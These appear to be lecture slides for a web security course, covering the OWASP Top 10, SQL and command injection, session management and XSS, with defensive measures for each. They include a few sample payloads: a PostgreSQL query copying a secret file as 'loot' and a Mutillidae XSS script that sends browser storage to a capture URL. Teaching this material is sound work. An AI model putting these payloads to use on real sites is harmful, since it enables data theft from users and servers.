**Session 6 –Web App Attack Vectors & Mitigation Techniques I**

**OWASPBWA = OWASP Broken Web Applications Project**

**Web Site vs. Web Application**

•Web Site:

Consists of static web pages that are informational

Most sites these days also contain pages with web applications

•Web Application

Dynamic web pages with active content that allow interaction with users

Contains code to connect to databases, file servers, etc.

**Web Application Examples**

•Bank account management

•Google Apps

Gmail, Calendar, Docs, Sheets, Drive, Etc.

•Office360

Word, Excel, Powerpoint, Etc.

•Guestbooks/ Blogs / Comment Sections

•Stock trading

•Blackboard

•TurboTax

•Health account records

•RedBox

•Netflix

•Etc.

**Web Apps = Rich Attacker Target**

•May provide access to:

Personally Identifiable Information (PII) of:

oUsers, subscribers, internal employees…

Credit card / Bank account information

Backend infrastructure of organization

Pages to serve malware or exploit kits on site visitors

Etc.

**Web App Security**

•Even if you are notin a role specifically as a security professional, you arestill responsible for secure:

Coding of web apps

Coding of connection to back end data stores

Configuration of webservers, databases, file shares, etc.

•Most popular framework for Web App Security is the OWASP Top 10

**OWASP Top 10**

•Open Web Application Security Project

•“Represents a broad consensus about what the most critical web application security flaws are.”

•OWASP makes no guarantee of validity as it is an online open-content collaborative project

•That being said, most content is written by security professionals and is peer reviewed

**What Are Application Security Risks?**



**OWASP Broken Web Applications Project**

•Preconfigured VM

http://sourceforge.net/projects/owaspbwa/files/

•Training Apps

OWASP WebGoat

Damn Vulnerable Web Application (DVWA)

Mutillidae II

and more…

•Realistic vulnerable applications

•Old versions of real applications

•Don’t ever set up OWASPBWA with public Internet access at home or work

**Overview of Top 10**

Part I –Injection

Part II –Broken Authentication and Session Management

Part III –Cross-Site Scripting (XSS)

Part IV –Insecure Direct Object References

Part V –Security Misconfiguration

Part VI –Sensitive Data Exposure

Part VII –Missing Function Level Access Control

Part VIII –Cross-Site Request Forgery (CSRF)

Part IX –Using Components with Known Vulnerabilities

Part X –Unvalidated Redirects and Forwards

Part I Injection

**Injection**

•Injection flaws can occur when untrusted data is sent to an interpreter as part of a command or query:

SQL database query

OS command

LDAP database query

XML parsers

SMTP headers

Etc.

**Goal of Injection**

•Attacker wants their injected data to trick the interpreter into executing unintended commands or accessing data without authorization in order to:

Steal data

o Violates Confidentiality

Modify data

o Violates Integrity

Delete data

o Violates Availability

Part I –Type I SQL Injection

**What is a Database?**

•A database is a collection of data organized and structured in a way that information can be easily retrieved.

**What is an RDBMS?**

•Relational Database Management System

Stores data in separate tables instead of a single large storeroom.

Uses SQL –Structured Query Language to interact with databases

MySQL and PostgreSQL are examples of RDBMS

**What is a Table?**

•Stores records within a database. There might be many tables in one database.

•Consists of columns and rows that hold data in specific data types.

**Structured Query Language (SQL)**

•Used to run commands against a database such as:

SELECT

UPDATE

DROP

**SQL Injection Prevention**

•How could we have prevented this attack?

Use parameterized queries!

oPrepared Statements

oStored Procedures

https://www.owasp.org/index.php/Query\_Parameterization\_Cheat\_Sheet

**SQL Injection Prevention Method 1**

**•Prepared Statements**

Code object placed on server page for sending SQL statements to database

User input becomes content of parameter as opposed to part of the actual SQL query

•After completing last lesson, WebGoat displayed:



•Click “Show Java” to see their prepared statement



1.Placeholder for user data that is not sent to database server

2.Data sent separately in this request so that it is no longer part of the query

•Now, our injection is stopped:



**SQL Injection Prevention –Method 2**

**•Stored Procedure**

Similar to Prepared statements but code is defined and stored in the database itself (not in the web page code)

Below code entered in MySQL for example:

DELIMITER //

CREATE PROCEDURE GetUsers()

BEGIN

SELECT \* from user\_data;

END //

DELIMITER ;

•DELIMITER //

Changes delimiter from ; to // so that MySQL doesn’t interpret each statement one at a time

•CREATE PROCEDURE

Creates stored procedure and names it

•BEGIN, END

Body of stored procedure and holds query/statement

•The name of the stored procedure can then be called by the web application without having to use a directly query

•Instead of querying SELECT \* from user\_data;

•You could use CALL GetUsers();

**Other Ways of Preventing SQL Injection**

•Escaping all user supplied input

Each DBMS supports character escaping schemes

Not as good as prior two approaches

•Least privilege

Minimize privileges assigned to the web app accessing the database

For example, don’t allow web app ability to DROP tables

•White List input Validation

Can detect unauthorized input before it is processed by the web app

**SQL Injection –OS Interaction**

•MS SQL

xp\_cmdshell

oDisabled by default

•PostGRES

system function

Example: SELECT system(‘cat /var/secretfile> /mnt/share/loot.txt’);

oResults not shared to user on screen

oWould have to retrieve loot.txt by another method

**Automated SQL Injection with sqlmap**

•Heavily used by attackers

•Sqlmapcan be against another vulnerable training app called Mutillidae

**Blind SQL Injection**

•Similar to normal SQL injection attacks but no error messages are displayed

•Attackers often submit commands with no visible results

**SQL Injection Final Note**

•You can see the damage that could happen to a large organization if even one page allows direct access to the database

•An attacker can

Steal password hashes

Dump sensitive information and credit card data

Steal files

Potentially have shell access

**•It is very important that organizations have their own sites tested for SQL Injection vulnerabilities!**

Part I –Type II Command Injection

**Command Injection**

•Attackers will also try to inject operating system commands into a web form in order to execute them on the web server

•Object is usually to gain information from the web server

**Defenses to Command Injection**

•Run web app in a sandbox

•Use DLLs or library calls instead of using an application to perform an action

•Least privilege

•There are devices that look for the presence of system commands in Web forms and URLs

Check Point’s Web Intelligence Command Injection Protection

Part II Broken Authentication and Session Management

**Broken Authentication and Session Mgmt**

•If authentication and session management functions are not implemented correctly in an application:

Attacker may be able to assume a user’s identity by compromising:

oPasswords

oKeys

oSession Tokens

oEtc.

**Session Types**

•Client-side

Identity and Authorization info stored on the client in a session ID

Session ID could appear in a cookie, hidden form field on page, or as URI parameter

Attacker can steal session ID when client sends it to server

•Server-side

Identity and Authorization info stored on the server

More secure of two methods.

SessionID Uses to an Attacker

•Attacker can use stolen session ID to:

Access victim’s account

Steal information

Access higher privileges (if victim’s privileges are higher than attacker’s)

**Client-side Session ID Example:**

•Web app puts session id in URL:



•Attacker may be able to simply paste that in their own browser and pick up the session if no other validation is used by server

**Session Fixation**

•A non-authenticated user will receive a session ID when visiting a logon form but not logging in yet

•The web application should change the user’s sessionID after they successfully authenticate

•An attacker may notice a flaw where the session ID is the same before and after logon

**Am I Vulnerable to Broken Auth and Session Mgmt?**

•User authentication credentials aren’t protected when stored

No hashing or encryption

•No authentication lockout or timeout

•Credentials can be guessed or overwritten through weak account management functions

Ex: account creation, change password, recover password, weak session IDs

•Session IDs are exposed in the URL

•Session IDs are vulnerable to session fixation attacks

Session hijacking can be used

•Session IDs don’t timeout, or user sessions or authentication tokens, or single sign-on (SSO) tokens, aren’t properly invalidated during logout.

•Session IDs aren’t rotated after successful login

•Passwords, session IDs, and other credentials are sent over unencrypted connections

Part III Cross-Site Scripting (XSS)

**Cross-Site Scripting (XSS)**

•XSS allows an attacker to trick a victim’s browser into executing code in order to:

Hijack user sessions

Read cookies

Deface/modify web sites

Redirect the user to malicious sites

Steal passwords

Log keystrokes

•BeEFis an XSS tool

•XSS attacks can occur if an application takes untrusted data and sends it to a user’s web browser without proper validation or escaping

•Note: This attack targets victim’s browser, not the server the victim is visiting

•Can happen anytime a website doesn’t filter user input properly in:

URL Parameters

Form Fields

Comment Fields

Visitor Logs

Message Forums

Etc.

**Same Origin Policy (SOP)**

•Code executed by a browser can only affect content from the same origin

•Example:

A victim’s browser is connected to chase.com

An attacker embeds malicious code on chase.com

Victim visits chase.com and victim’s browser executes code and issues other HTTP requests

Code could potentially cause Chase’s website to respond to request

Code could not cause Citibank’s website to respond to request

•Code executed by a browser can only affect the same

Hostname

Protocol

Port

•Victim browses to http://ww.chase.com and malicious code executes that sends other requests

•Would the following servers respond based on SOP?

http://www.chase.com/stealmoney.php

oYes, same hostname

http://web.chase.com/deleteuser.php

oNo, different hostname

https://www.chase.com/transfermoney.php

oNo, different protocol

http://www.chase.com:8086/fund.php

oNo, different port

**Types of XSS**

**•Stored XSS (Persistent)**

**•Reflected XSS (Non-Persistent)**

**•DOM Based XSS**

Part III –Type I Stored XSS (Persistent)

**Stored XSS (Persistent)**

•Attacker input can be stored on target server in a:

Database

Message forum

Visitor log

Comment field

Etc.

•Attacker places malicious code in any of those spots which is stored on the server

•Victim browses to web page or loads forum message and malicious code is executed inside the victim’s browser

Part III –Type II Reflected XSS (Non-Persistent)

**Reflected XSS (Non-Persistent)**

•Attack injects code as part of request and it is executed in the browser as the response

•Code is notstored on the server. This is a one time execution

•Often used in phishing emails and sometimes hidden with URL shorteners

**Reflected XSS Example -Phishing**

•Attacker finds website vulnerable to XSS

•Attacker creates a URL for that website that includes a malicious script that steals the victim’s session cookie and sends it to the attacker

•Victim clicks on the link and goes to the website which executes the malicious script in the victim’s browser

•The session cookie is retrieved and sent to the attacker

Part III –Type III DOM Based XSS

**DOM Based XSS**

•DOM = Document Object Model

•Everything takes place in the browser

•May be stored or reflected

•Uses methods on objects in the DOM such as cookies, URLs, Referrers, Window Names, etc.

Could be used to steal a session cookie for example

•Data source is in DOM only

•Example from Mutillidaefor stealing storage values from DOM:

<script>try{varm = "";varl = window.localStorage;for(i=0;i<l.length;i++){

varlKey= l.key(i);m += lKey+ "=" + l.getItem(lKey) + ";\\n";};

document.location="http://localhost/mutillidae/capture-data.php?html5storage=" + m;}catch(e){alert(e.message);}</script>

**General Defenses for Stored & Reflected XSS**

•Escape all untrusted data

•Use whitelist input validation

•Consider using auto-sanitization libraries

•Consider Content Security Policy to protect entire site

•Great Cheat Sheet with more info here:

https://www.owasp.org/index.php/XSS\_(Cross\_Site\_Scripting)\_Prevention\_Cheat\_Sheet

**General Defenses for DOM XSS**

•Escape all untrusted data

•Populate DOM using safe JavaScript functions or properties

•Great Cheat Sheet with more info here:

https://www.owasp.org/index.php/DOM\_based\_XSS\_Prevention\_Cheat\_Sheet